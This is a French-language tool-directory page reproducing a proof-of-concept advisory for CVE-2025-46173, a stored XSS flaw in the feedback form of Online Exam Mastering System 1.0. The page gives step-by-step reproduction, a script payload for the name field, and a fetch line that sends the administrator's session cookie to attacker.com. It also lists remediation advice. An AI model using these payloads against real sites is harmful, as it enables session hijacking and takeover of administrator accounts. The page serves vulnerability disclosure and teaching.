Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-46173 — PoC pour CVE-2025-46173 | Kitploit
Outils/GitHubGitHub/pruthuraut/cve-2025-46173
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et Éducation
GitHubpruthuraut/cve-2025-46173

CVE-2025-46173

PoC pour CVE-2025-46173

Voir le dépôt
17il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-46173 - Cross-Site Scripting (XSS) stocké dans Online Exam Mastering System 1.0

📌 Résumé

CVE-2025-46173 est une vulnérabilité Cross-Site Scripting (XSS) stocké découverte dans le système Online Exam Mastering System 1.0 par code-projects. La vulnérabilité se trouve dans le composant feedback.php où la saisie utilisateur dans le champ nom n'est pas correctement nettoyée, permettant à un acteur malveillant d'injecter du JavaScript arbitraire. Lorsqu'un administrateur consulte ce feedback dans le tableau de bord admin (dash.php), la charge utile est exécutée dans le navigateur de l'administrateur, entraînant un détournement de session et une éventuelle escalade de privilèges.


🧠 Détails de la vulnérabilité

| - | - | | Type de vulnérabilité : | Cross-Site Scripting stocké (XSS) | | CVE-ID : | CVE-2025-46173 | | Fournisseur : | code-projects | | Produit : | Online Exam Mastering System | | Version affectée : | 1.0 | | Composant : | feedback.php, dash.php | | Vecteur d'attaque : | À distance | | Impact : | Escalade de privilèges, Détournement de session |


📷 Preuve de concept

1. Injection

Un utilisateur soumet la charge utile suivante dans le champ Nom du formulaire de feedback :

<script>alert(document.cookie)</script>

Charge utile dans le formulaire de feedback

2. Déclenchement

Lorsque l'administrateur consulte ultérieurement le feedback soumis dans dash.php, la charge utile s'exécute :

Déclenchement XSS administrateur

3. Résultat

Le cookie de session de l'administrateur est exposé via document.cookie, qui peut être exfiltré :

<script>
  fetch("http://attacker.com/steal?cookie=" + document.cookie);
</script>

⚙️ Étapes pour reproduire

  1. Clonez ou installez la version vulnérable depuis code-projects.

  2. Accédez à localhost/exam/feedback.php.

  3. Remplissez le champ « Nom » avec :

    <script>alert(document.cookie)</script>
    
  4. Soumettez le formulaire.

  5. Connectez-vous en tant qu'administrateur et visitez dash.php?q=3 pour voir le feedback.

  6. Le script s'exécutera dans le contexte de l'administrateur.


🔥 Impact

  • Voler les cookies de session administrateur
  • Usurper l'identité de l'utilisateur administrateur
  • Obtenir un accès administratif complet
  • Modifier ou supprimer des données de test
  • Escalader les privilèges

🔒 Mesures correctives recommandées

  • Nettoyer les entrées utilisateur en échappant les caractères spéciaux HTML (p. ex., &, <, >, ").
  • Utiliser une bibliothèque de nettoyage robuste comme htmlspecialchars() de PHP ou une combinaison de validation frontend et de nettoyage backend.
  • Mettre en œuvre une Content Security Policy (CSP).
  • Envisager d'encoder les données avant de les afficher dans le DOM.

🔗 Références

  • Blind Cross-Site Scripting (Invicti)
  • Acunetix - Detecting Blind XSS
  • OWASP XSS Prevention Cheat Sheet

👤 Découvreur

Pruthu Raut LinkedIn | TryHackMe Top 2% | GitHub


Les captures d'écran sont à des fins éducatives uniquement. Tous les tests ont été effectués dans un environnement local.

🎥 Vidéo de la preuve de concept

Cliquez ici pour regarder la vidéo de démonstration


⚠️ Avertissement

Ces informations sont fournies à des fins éducatives et de recherche uniquement. Ne les utilisez pas sur des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester.

Télécharger l’outil